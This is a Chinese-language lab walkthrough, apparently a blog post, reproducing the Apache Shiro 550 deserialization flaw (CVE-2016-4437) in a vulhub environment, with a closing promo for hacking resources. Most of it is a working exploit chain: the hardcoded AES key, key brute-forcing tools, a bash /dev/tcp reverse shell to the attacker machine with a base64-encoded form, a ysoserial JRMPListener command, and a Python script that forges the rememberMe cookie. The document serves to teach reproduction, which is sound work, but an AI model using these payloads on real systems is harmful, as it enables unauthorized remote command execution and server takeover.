漏洞原理
本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。
啥是shiro?
Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。
shiro550反序列化原理
**cve编号:**CVE-2016-4437
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
如下图所示,勾选rememberMe后,POST请求包中会有rememberMe字段(在最后,非常抱歉一个图没截全,看下面那个小图的remember-me),而服务端响应包的Set-Cookie中会有rememberMe=deleteMe字段,同时会生成对应的rememberMe字段,如下图,一段很长的密文。
当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证。如下图为再次请求时的数据包:
这里出现问题的点就在于AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。在后续的版本中,这个密钥也可能会被爆破出来,从而被攻击者利用构造payload。
我画个图供读者们理解一下吧:
靶场搭建
这里用vulhub搭建靶场,进入对应的目录…/vulhub/shiro/CVE-2016-4437
我是用虚拟机Ubuntu搭建的(ip为192.168.200.129),启动docker命令:
docker-compose up -d
然后查看一下端口
docker ps
然后浏览器访问192.168.200.129:8080(虚拟机ip:刚才查看的端口),页面如下:
这样靶场就搭建好了。
漏洞复现
攻击机:kali 192.168.200.131
靶机:Ubuntu 192.168.200.129
(无所谓是不是kali或者Ubuntu,反正靶场用docker搭建,然后有个linux的攻击机就行了)
漏洞验证
进行漏洞复现之前,应该先验证漏洞是否存在。那么首先应该判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理。判断方法在于:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:
之前我看CSDN上其他文章,以及b站上许多shiro550的漏洞复现视频都说,只要响应包中出现rememberMe=deleteMe字段就说明存在漏洞。我感觉这样说有失偏颇,如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞。下面这篇博客写的也比较细,其漏洞验证流程也类似判断请求和响应包的字段,如下图:
上图是这篇博客所言的漏洞验证的流程,如果出现shiro550漏洞,确实会出现上图所说的这些现象。但我感觉,这个作者说的流程貌似也只是shiro框架的验证过程(个人愚见,欢迎评论区讨论)。对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,**用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。**因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。
我们可以用类似于shiro_attack-2.2.jar这种图形化工具看看可否爆破出来密钥,启动的方法是,在shiro_attack-2.2.jar所在目录运行:(工具的下载地址在文末我会给出链接)
java -jar shiro_attack-2.2.jar
在图形化界面的目标地址中输入待检测的url,点击“检测当前密钥”、“爆破密钥”,如果下方的文本框显示了对应的密钥,则说明漏洞存在。
或者也可以使用脚本进行检测和爆破,我这里使用的是一个python2的脚本shiro_exploit.py(脚本和本文所使用的工具会在文末给出),命令如下(url替换为待检测的站点):
python2 shiro_exploit.py -u http://192.168.200.129:8080
插叙一下,如果报错咋办 ?
如果运行该脚本时报错No module named ‘Crypto’,则运行如下命令:
pip uninstall crypto pycryptodome
pip install pycryptodome
如果默认安装到了python3的目录下,把他们copy到python2的目录即可。Python2安装目录下的\Lib\dist-packages,将crypto文件夹的名字改成Crypto,如下图。
插叙结束
如果能成功运行shiro_exploit.py脚本,将自动检测shiro框架并对密钥进行爆破,如下图:
爆破过程可能需要几分钟时间,耐心等待一会,最后爆破成功的显示如下:
我们成功获得了AES密钥kPH+bIxk5D2deZiIxcaaaA==,说明漏洞存在。
构造cookie获取反弹shell
进行漏洞利用有很多种方法,最简便的方法就是用前述的shiro_attack-2.2.jar这种图形化工具,但是直接用工具感觉有点像一键复现漏洞,我们没有对请求包的cookie值进行payload构造过程,因此我们还是老老实实先试试自己构造payload再使用payload。
step1:开启端口监听
首先我们开启一个端口,用于接收反弹shell,我这里开启6666端口:
nc –lvvp 6666
step2:攻击机搭建VPS服务,存放反弹shell的payload1
反弹shell的命令如下(别忘了把ip改为攻击机的ip):
bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:
Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)
如下图,我们对反弹shell的命令进行base64编码
编码结果为:
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
接下来我们利用序列化工具ysoserial.jar(工具下载我会在文末给出)生成payload,命令如下:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
这段命令中“”中的部分是刚才生成的反弹shell的base64编码。
对这段命令做个简要的解释:这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。
至于为什么是CommonsCollections5 ,这是因为靶场的 shiro 存在 commons-collections 3.2.1 依赖, 是一个版本问题,这里就不细究源代码了。
step3:生成AES加密=>Base64编码后的rememberMe字段
我们企图让存在漏洞的页面去请求我们攻击机的VPS服务,即对192.168.200.131:7777进行请求,因此,我们要用脚本对192.168.200.131:7777进行AES加密=>Base64编码。脚本shiro.py代码如下(注意这是一段python2的代码):
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
代码中key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)这一行括号内即为AES加密的密钥,如果密钥是其他的,在这里就填写其他的密钥。脚本运行的命令如下(读者应当更改为攻击机ip:JRMP监听的端口号),注意shiro.py的位置应当保证和ysoserial.jar在同一目录下:
python2 shiro.py 192.168.200.131:7777
这样我们就生成了请求包中rememberMe的payload2:
结果为:
rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==
step4:更改请求包中cookie的rememberMe字段
我们要在这个数据包的Cookie字段后添加rememberMe字段,添加后的截图如下:
然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:
这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.200.129)进行了连接通信:
再看一下攻击机监听的6666端口,成功获取了反弹shell。
这样就成功了,此时已经可以执行任意命令了。
至此,漏洞复现成功,那么我们再理一下思路,总结一下靶机是如何沦陷的。
攻击过程复盘
对于攻击者而言,核心就是干了两件事:
1.搭建VPS进行JRMPListener,存放反弹shell的payload1
2.将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。
那么对于靶机服务器,他是怎么沦陷的呢?
1.接收到请求包payload2,对他进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。
2.向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。
3.对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。
那么我们下一步用工具进行复现一下
使用shiro利用工具进行漏洞利用
使用工具shiro_attack-2.2.jar(会在文末给出下载链接),在shiro_attack-2.2.jar目录启动命令:
java -jar shiro_attack-2.2.jar
然后输入需要检测的站点,即靶场地址,本文为192.168.200.129:8080,点击“检测当前密钥”=>“爆破密钥”
可以看到检测日志模块,出现了“存在shiro框架”,并成功爆出了密钥kPH+bIxk5D2deZiIxcaaaA== ,然后我们点击“检测当前利用链”、“爆破利用链及回显”,就可以看到检测日志模块,出现了“发现构造链:xxxx 回显方式:xxx”,并提示我们请尝试功能区利用:
接下来点击“命令执行”,输入想执行的命令,就可以直接执行命令了。这里输入了whoami,回显为root,又输入了ls -l 成功看到了所有的文件及其权限等等。
这样就直接利用成功了,当然也可以直接上传内存马啥的,就不演示了。
结语
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
扫码领取
![](https://img-blog.csdnimg.cn/img_convert/fdf691a1eabc4a5539ba708f385916f3.png)